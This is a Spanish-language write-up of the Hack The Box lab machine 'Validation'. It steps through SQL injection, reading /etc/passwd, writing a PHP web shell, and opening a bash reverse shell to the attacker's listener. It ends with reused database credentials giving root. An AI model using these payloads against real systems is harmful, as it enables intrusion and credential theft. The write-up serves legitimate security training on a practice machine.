Post

HTB Validation

Resumen

logo Validation es una máquina excelente para practicar habilidades en pentesting web. Al iniciar, se observa la presencia de una web, y al probar vulnerabilidades, se descubre que es vulnerable a una inyección SQL. Sin embargo, después de varios intentos, se logra volcar toda la base de datos sin encontrar información interesante. Es necesario buscar un nuevo vector.

La enumeración de múltiples datos, como la versión, el usuario que ejecuta la base de datos y los privilegios asociados, revela que el sistema cuenta con la capacidad de leer archivos dentro del servidor, y posiblemente también de escribirlos. En caso de que sea así, se podría montar una web shell si se conoce la ruta absoluta de la web. Al confirmar esta posibilidad, se procede a ejecutar una RCE (ejecución remota de código), logrando así obtener una shell dentro de la máquina.

Para concluir, se descubre un archivo de configuración en el host que contiene las credenciales del usuario root.

Reconocimiento

Para comenzar, se realiza un ping para verificar la conectividad con la máquina.

1
2
3
4
5
6
7
ping 10.10.11.116  -c 1
PING 10.10.11.116 (10.10.11.116) 56(84) bytes of data.
64 bytes from 10.10.11.116: icmp_seq=1 ttl=63 time=246 ms

--- 10.10.11.116 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 246.405/246.405/246.405/0.000 ms

Escaneo de Puertos

Ahora que se ha confirmado la conectividad, se procede a revisar con ayuda de nmap qué puertos se encuentran abiertos con el siguiente comando:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
nmap -p- --min-rate 3000 10.10.11.116  -Pn   -oG ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-09 13:33 EST
Nmap scan report for 10.10.11.116
Host is up (0.17s latency).
Not shown: 65522 closed tcp ports (conn-refused)
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
4566/tcp open     kwtc
5000/tcp filtered upnp
5001/tcp filtered commplex-link
5002/tcp filtered rfe
5003/tcp filtered filemaker
5004/tcp filtered avt-profile-1
5005/tcp filtered avt-profile-2
5006/tcp filtered wsm-server
5007/tcp filtered wsm-server-ssl
5008/tcp filtered synapsis-edge
8080/tcp open     http-proxy

Después de obtener información sobre los puertos abiertos, se desea realizar un escaneo más profundo para identificar las tecnologías y versiones que la web está utilizando. Esto se puede realizar con el siguiente comando:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
nmap -p22,80,4566,8080 --min-rate 3000 -sVC -Pn -oN version 10.10.11.116

Nmap scan report for 10.10.11.116 (10.10.11.116)
Host is up (0.22s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
|   256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_  256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp   open  http    Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
4566/tcp open  http    nginx
|_http-title: 403 Forbidden
8080/tcp open  http    nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración

Dado que hay una página web, se intenta identificar las tecnologías que utiliza con la ayuda de la herramienta whatweb:

1
2
3
whatweb http://10.10.11.116/

http://10.10.11.116/ [200 OK] Apache[2.4.48], Bootstrap, Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.48 (Debian)], IP[10.10.11.116], JQuery, PHP[7.4.23], Script, X-Powered-By[PHP/7.4.23]

Al acceder a la web, se observa un panel en el cual se debe ingresar un usuario y seleccionar un país.

web

El uso de la página web consiste simplemente en ingresar los datos mencionados anteriormente y hacer clic en el botón correspondiente. Esto llevará a un nuevo panel donde se reflejará la información ingresada.

uso

view

Se realiza un intento de capturar la petición utilizando Burp Suite y se añade una comilla simple (') con el fin de descubrir si la aplicación es vulnerable a alguna forma de inyección. Por lo que se prueba dentro de campo del nombre de usuario pero no parece suceder nada interesante.

testuser

Adicionalmente, se realiza la prueba de ingresar una comilla en el campo del atacante, y se observa que la web arroja un error, indicando la posibilidad de ser vulnerable a una inyección SQL.

country

error

Explotación

Ahora se busca descubrir cuántas columnas hay dentro de la tabla que se está mostrando.

1
'order by 2-- -

Dado que se obtiene un error, se infiere que el número de columnas en la tabla es menor al que se está indicando.

orderby2

Se realiza una prueba con una columna y se verifica que no se produce ningún error, lo que sugiere que solo se cuenta con una columna en la tabla.

1
'order by 1-- -

orderby1

Tras descubrir que solo hay una columna, se procede a realizar una consulta de unión SELECT para determinar si es posible controlar la información que se refleja en la web mediante consultas.

1
'union select "pan"-- -

unionselect

Ahora se ejecuta una consulta para identificar qué bases de datos se encuentran dentro del sistema.

1
'union select schema_name from information_schema.schemata-- -

La única base de datos llamativa parece ser la denominada “registration”.

dbs

Ahora se procede a identificar qué tablas contiene la base de datos.

1
'union select table_name from information_schema.tables where table_schema='registration'-- -

Se observa que solo existe una única tabla, la cual también lleva por nombre “registration”.

tables

Ahora se desea revisar qué columnas se encuentran dentro de la tabla.

1
'union select column_name from information_schema.columns where table_schema='registration' and table_name='registration'-- - 

Las columnas identificadas son las siguientes:

columns

Ahora se procede a revisar la información de cada columna, empezando por la columna “username”.

1
' union select username from registration.registration-- -

Sin embargo, en esta columna solo se visualiza el nombre del usuario que hemos creado.

username

A continuación, se examina el contenido de la columna “userhash”.

1
'union select  userhash from registration.registration -- -

En el contenido de esta columna se puede identificar el mismo valor que viajaba en la cookie al realizar la petición con el usuario “madlies”, sugiriendo que se trata de un identificador para ese usuario.

hash

Dado que las otras dos columnas no parecen tener nombres llamativos, se inicia el proceso de obtener información de la base de datos, como como la verisión de la misma.

1
' union select @@version-- -

version

Se puede revisar quien se encuentra corrinedo la base de datos.

1
'union select user()-- -

Se verifica que la base de datos está siendo ejecutada por el usuario uhc.

user

Con esta información, se procede a revisar los privilegios con los que cuenta el usuario uhc dentro de la base de datos.

1
' UNION SELECT  privilege_type FROM information_schema.user_privileges WHERE grantee="'uhc'@'localhost'"-- -

privs

Gracias a esta revisión, se constata que el usuario cuenta con el permiso file, que le permite leer archivos dentro del equipo. Por lo tanto, se plantea la posibilidad de intentar leer algún archivo de interés, como por ejemplo, /etc/passwd.

1
' UNION SELECT LOAD_FILE('/etc/passwd')-- -

etcpasswd

Ahora se intenta escribir un archivo que interprete código PHP, en una posible ruta donde se encuentra almacenada la web, como por ejemplo, /var/www/html. Si esto se realiza de manera exitosa, se registra un archivo que nos permite obtener una ejecución remota de código (RCE) sobre el equipo. Por lo que se puede hacer la prueba con un archivo txt.

1
'union select  'this is a test' INTO OUTFILE '/var/www/html/test.txt'-- -

Aunque la web arroje un error, es debido a que la respuesta de este comando no produce salida, por lo que la web no tiene información para mostrar y genera un error. No obstante, es necesario verificar en la ruta si nuestro archivo de prueba fue cargado correctamente.

fail

test

Dado que se confirmó que la carga del archivo fue exitosa, se procede a subir un archivo que interprete comandos en PHP, lo que permitirá obtener una shell reversa.

1
' union select '<?php system($_REQUEST[0]); ?>' into outfile '/var/www/html/shell.php'-- -

Al revisar, se observa que el archivo está arrojando un error, indicando que se ha subido correctamente. Sin embargo, se entiende que es necesario agregarle el parámetro esperado para su funcionamiento adecuado.

webshell

Se lleva a cabo una prueba rápida para verificar si es posible ejecutar de forma remota algún comando de prueba, como por ejemplo ls.

rce

Ahora solo falta ponerse a la escucha con ayuda de nc.

1
2
nc -lvp 1234
listening on [any] 1234 ...

Ahora se envía el comando para establecer la shell reversa.

1
bash -c 'exec bash -i %26>/dev/tcp/10.10.14.14/1234 <%261'

Y se gana la misma dentro de la máquina atacante.

1
2
3
4
5
6
7
nc -lvp 1234
listening on [any] 1234 ...
10.10.11.116: inverse host lookup failed: Host name lookup failure
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.116] 58120
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@validation:/var/www/html$ 

Escadalada de Privilegios

Al ingresar al equipo, se nota la presencia de un archivo llamado config.php. Dada su posible importancia, se procede a revisarlo y efectivamente se encuentra que contiene una credencial para el servicio de la base de datos.

1
2
3
4
5
6
7
8
9
cat config.php
<?php
  $servername = "127.0.0.1";
  $username = "uhc";
  $password = "uhc-9qual-global-pw";
  $dbname = "registration";

  $conn = new mysqli($servername, $username, $password, $dbname);
?>

Dado que existe la posibilidad de que la credencial se reutilice, se realiza la prueba de utilizarla como root, lo que permite acceder al usuario con máximos privilegios.

1
2
3
4
su root
Password: uhc-9qual-global-pw
whoami
root
This post is licensed under CC BY 4.0 by the author.